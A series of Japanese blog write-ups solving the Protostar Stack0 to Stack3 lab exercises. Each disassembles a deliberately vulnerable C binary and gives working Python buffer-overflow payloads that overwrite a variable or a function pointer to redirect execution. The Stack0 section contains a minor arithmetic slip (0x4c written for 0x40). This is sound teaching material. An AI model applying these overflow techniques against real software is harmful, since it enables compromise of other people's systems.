protostar stack3 writeup
## はじめに
exploit-exercisesのprotostar(https://exploit-exercises.com/protostar/) のStack3を解いたので、そのwriteupを書いていく
### Stack3
ソースコードはこんな感じ
#include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <string.h> void win() { printf("code flow successfully changed\n"); } int main(int argc, char **argv) { volatile int (*fp)(); char buffer[64]; fp = 0; gets(buffer); if(fp) { printf("calling function pointer, jumping to 0x%08x\n", fp); fp(); } }
実行するとこんな感じ
$ ./stack3 AAAA
今回はバッファオーバーフロー脆弱性を利用し関数ポインタであるfpを上書きしwin()を実行させる.
バイナリはこんな感じ
$ objdump -d ./stack3 | grep main\>: -A20 08048438 <main>: 8048438: 55 push ebp 8048439: 89 e5 mov ebp,esp 804843b: 83 e4 f0 and esp,0xfffffff0 804843e: 83 ec 60 sub esp,0x60 8048441: c7 44 24 5c 00 00 00 mov DWORD PTR [esp+0x5c],0x0 8048448: 00 8048449: 8d 44 24 1c lea eax,[esp+0x1c] 804844d: 89 04 24 mov DWORD PTR [esp],eax 8048450: e8 db fe ff ff call 8048330 <gets@plt> 8048455: 83 7c 24 5c 00 cmp DWORD PTR [esp+0x5c],0x0 804845a: 74 1b je 8048477 <main+0x3f> 804845c: b8 60 85 04 08 mov eax,0x8048560 8048461: 8b 54 24 5c mov edx,DWORD PTR [esp+0x5c] 8048465: 89 54 24 04 mov DWORD PTR [esp+0x4],edx 8048469: 89 04 24 mov DWORD PTR [esp],eax 804846c: e8 df fe ff ff call 8048350 <printf@plt> 8048471: 8b 44 24 5c mov eax,DWORD PTR [esp+0x5c] 8048475: ff d0 call eax 8048477: c9 leave 8048478: c3 ret ||< 見た感じ[esp+0x1c]がbuffer, [esp+0x5c]がfpっぽい. その差は64バイト. 次にwin()のアドレスを探す. これにはnmコマンドを使う. >|bash| $ nm ./stack3 | grep win 08048424 T win
出力を見るに0x08048424にwin()のコードが格納されたアドレスがあるようだ.
ここから64バイト+0x08048424の値を入力すると関数ポイタfpにwin()のアドレスが入ると考えられる.
というわけで実行してみる.
$ python -c 'print "A"*64 + "\x24\x84\x04\x08"' | ./stack3 calling function pointer, jumping to 0x08048424 code flow successfully changed
成功した
Stack3 おわり
protostar stack 2 writeup
## はじめに
exploit-exercisesのprotostar(https://exploit-exercises.com/protostar/) のStack2を解いたので,そのwriteupを書いていく
### Stack 2
ソースコードはこんな感じ
#include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <string.h> int main(int argc, char **argv) { volatile int modified; char buffer[64]; char *variable; variable = getenv("GREENIE"); if(variable == NULL) { errx(1, "please set the GREENIE environment variable\n"); } modified = 0; strcpy(buffer, variable); if(modified == 0x0d0a0d0a) { printf("you have correctly modified the variable\n"); } else { printf("Try again, you got 0x%08x\n", modified); } }
「you have correctly modified the variable」を出力させてみる.
例のごとくバッファオーバーフロー脆弱性が存在しているのでコレを利用する.
バイナリのmain関数はこんな感じ
$ objdump -d ./stack2 | grep main\>: -A33 08048494 <main>: 8048494: 55 push ebp 8048495: 89 e5 mov ebp,esp 8048497: 83 e4 f0 and esp,0xfffffff0 804849a: 83 ec 60 sub esp,0x60 804849d: c7 04 24 e0 85 04 08 mov DWORD PTR [esp],0x80485e0 80484a4: e8 d3 fe ff ff call 804837c <getenv@plt> 80484a9: 89 44 24 5c mov DWORD PTR [esp+0x5c],eax 80484ad: 83 7c 24 5c 00 cmp DWORD PTR [esp+0x5c],0x0 80484b2: 75 14 jne 80484c8 <main+0x34> 80484b4: c7 44 24 04 e8 85 04 mov DWORD PTR [esp+0x4],0x80485e8 80484bb: 08 80484bc: c7 04 24 01 00 00 00 mov DWORD PTR [esp],0x1 80484c3: e8 f4 fe ff ff call 80483bc <errx@plt> 80484c8: c7 44 24 58 00 00 00 mov DWORD PTR [esp+0x58],0x0 80484cf: 00 80484d0: 8b 44 24 5c mov eax,DWORD PTR [esp+0x5c] 80484d4: 89 44 24 04 mov DWORD PTR [esp+0x4],eax 80484d8: 8d 44 24 18 lea eax,[esp+0x18] 80484dc: 89 04 24 mov DWORD PTR [esp],eax 80484df: e8 b8 fe ff ff call 804839c <strcpy@plt> 80484e4: 8b 44 24 58 mov eax,DWORD PTR [esp+0x58] 80484e8: 3d 0a 0d 0a 0d cmp eax,0xd0a0d0a 80484ed: 75 0e jne 80484fd <main+0x69> 80484ef: c7 04 24 18 86 04 08 mov DWORD PTR [esp],0x8048618 80484f6: e8 d1 fe ff ff call 80483cc <puts@plt> 80484fb: eb 15 jmp 8048512 <main+0x7e> 80484fd: 8b 54 24 58 mov edx,DWORD PTR [esp+0x58] 8048501: b8 41 86 04 08 mov eax,0x8048641 8048506: 89 54 24 04 mov DWORD PTR [esp+0x4],edx 804850a: 89 04 24 mov DWORD PTR [esp],eax 804850d: e8 9a fe ff ff call 80483ac <printf@plt> 8048512: c9 leave 8048513: c3 ret
見た感じ[esp+0x58]がmodified, [esp+0x18]がbufferっぽい.
0x58-0x18=0x40, 10進数で64.
つまり64バイト+"0x0d0a0d0a"をbufferに送り込めばいい.
今回気になる所は環境変数を使っている点だ.
getenv関数でGREENIEの値を取得しvariableに入れている.
ということで環境変数GREENIEを用意しそこに値を入れる.
$ export GREENIE=$(python -c 'print "A"*64 + "\x0a\x0d\x0a\x0d"')
そして実行してみる.
$ ./stack2 you have correctly modified the variable
成功した.
Stack2 おわり
protostar stack 1 writeup
## はじめに
exploit-exercisesのprotostar(https://exploit-exercises.com/protostar/) のStack1を解いたので、そのwriteupを書いていく
### Stack 1
ソースコードはこんな感じ
#include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <string.h> int main(int argc, char **argv) { volatile int modified; char buffer[64]; if(argc == 1) { errx(1, "please specify an argument\n"); } modified = 0; strcpy(buffer, argv[1]); if(modified == 0x61626364) { printf("you have correctly got the variable to the right value\n"); } else { printf("Try again, you got 0x%08x\n", modified); } }
動作は以下のとおり.
$ ./stack1 AAAA Try again, you got 0x00000000
今回も同じように脆弱性を利用し「you have correctly got the variable to the right value」を出力させてみる.
しかし脆弱性自体はStack0と同じもので64バイトより大きな値を入力してmodifiedの値を書き換え本来到達しない分岐へ飛ばすだけである.
分岐の条件を見てみるとmodifiedの値が0x61626364であればいいようだ.
というわけで64バイトより後に"\x61\x62\x63\x64"をくっつければうまくいくだろう, と思うかもしれないがそうはそうは問屋が卸さない.
メモリ空間上では値を『リトルエンディアン』と呼ばれる方式で管理しており, 高位のアドレスに格納されている値が先に認識される.
うまく説明できる気がしないが
0x61626364
という値はリトルエンディアンでは
"\x64\x63\x62\x61"
というように管理している.
つまり64バイトより後ろにただ"\x61\x62\x63\x64"とつけただけでは0x64636261と解釈されてしまう.
そういうわけで今回のは64バイト以降に"\x64\x63\x62\x61"と付けて分岐を突破してみる.
$ ./stack1 $(python -c 'print "A"*64 + "\x61\x62\x62\x64"') Try again, you got 0x64626261 $ ./stack1 $(python -c 'print "A"*64 + "\x64\x63\x62\x61"') you have correctly got the variable to the right value
リトルエンディアンを意識して入力すると成功する.
Stack1 おわり
protostar stack 0 writeup
## はじめに
exploit-exercisesのprotostar(https://exploit-exercises.com/protostar/) のStack0を解いたので、そのwriteupを書いていく
### Stack 0
ソースコードはこんな感じ
#include <stdlib.h> #include <unistd.h> #include <stdio.h> int main(int argc, char **argv) { volatile int modified; char buffer[64]; modified = 0; gets(buffer); if(modified != 0) { printf("you have changed the 'modified' variable\n"); } else { printf("Try again?\n"); } }
動作は以下のとおり.
$ ./stack0 AAAA Try again?
ソースコードを見るとchar型の配列であるbufferへ値を入れているが入力値の大きさをチェックしていないためバッファオーバーフロー脆弱性が存在する.
ここではその脆弱性を利用し「you have changed the 'modified' variable」を出力させてみる.
まずはバイナリのmain関数内でどのような処理を行っているか見てみる.
$ objdump -d ./stack0 | grep main\>\: -A19 080483f4 <main>: 80483f4: 55 push ebp 80483f5: 89 e5 mov ebp,esp 80483f7: 83 e4 f0 and esp,0xfffffff0 80483fa: 83 ec 60 sub esp,0x60 80483fd: c7 44 24 5c 00 00 00 mov DWORD PTR [esp+0x5c],0x0 8048404: 00 8048405: 8d 44 24 1c lea eax,[esp+0x1c] 8048409: 89 04 24 mov DWORD PTR [esp],eax 804840c: e8 fb fe ff ff call 804830c <gets@plt> 8048411: 8b 44 24 5c mov eax,DWORD PTR [esp+0x5c] 8048415: 85 c0 test eax,eax 8048417: 74 0e je 8048427 <main+0x33> 8048419: c7 04 24 00 85 04 08 mov DWORD PTR [esp],0x8048500 8048420: e8 07 ff ff ff call 804832c <puts@plt> 8048425: eb 0c jmp 8048433 <main+0x3f> 8048427: c7 04 24 29 85 04 08 mov DWORD PTR [esp],0x8048529 804842e: e8 f9 fe ff ff call 804832c <puts@plt> 8048433: c9 leave 8048434: c3 ret ||< 流れとしてはスタックを確保後, 分岐の条件として使われる[esp+0x5c](modified)に0を代入. 次にesp+0x1c(buffer)に対しgetsで値を入力し[esp+0x5c](modified)の値が0であれば0x8048427に飛んで「Try again?」と出力. そうでなければ(modifiedの値が書き換わっていれば)「you have changed the 'modified' variable」と出力する. modifiedとbufferの差は 0x5c-0x1c=0x4c, これを10進数に直すと64バイトである. このことからバッファオーバーフロー脆弱性を利用しbufferに64バイトよりも大きな値を入れるとmodifiedとされているメモリ領域の値を変えることができると考えられる. 実際に入力してみる. >|bash| $ python -c 'print "A"*64' | ./stack0 Try again? $ python -c 'print "A"*65' | ./stack0 you have changed the 'modified' variable
64バイトよりも大きな値を入力したことでmodifiedの値が0から書き換えられ本来なら到達しない分岐ルートに飛んでいることが確認できる.
Stack0 おわり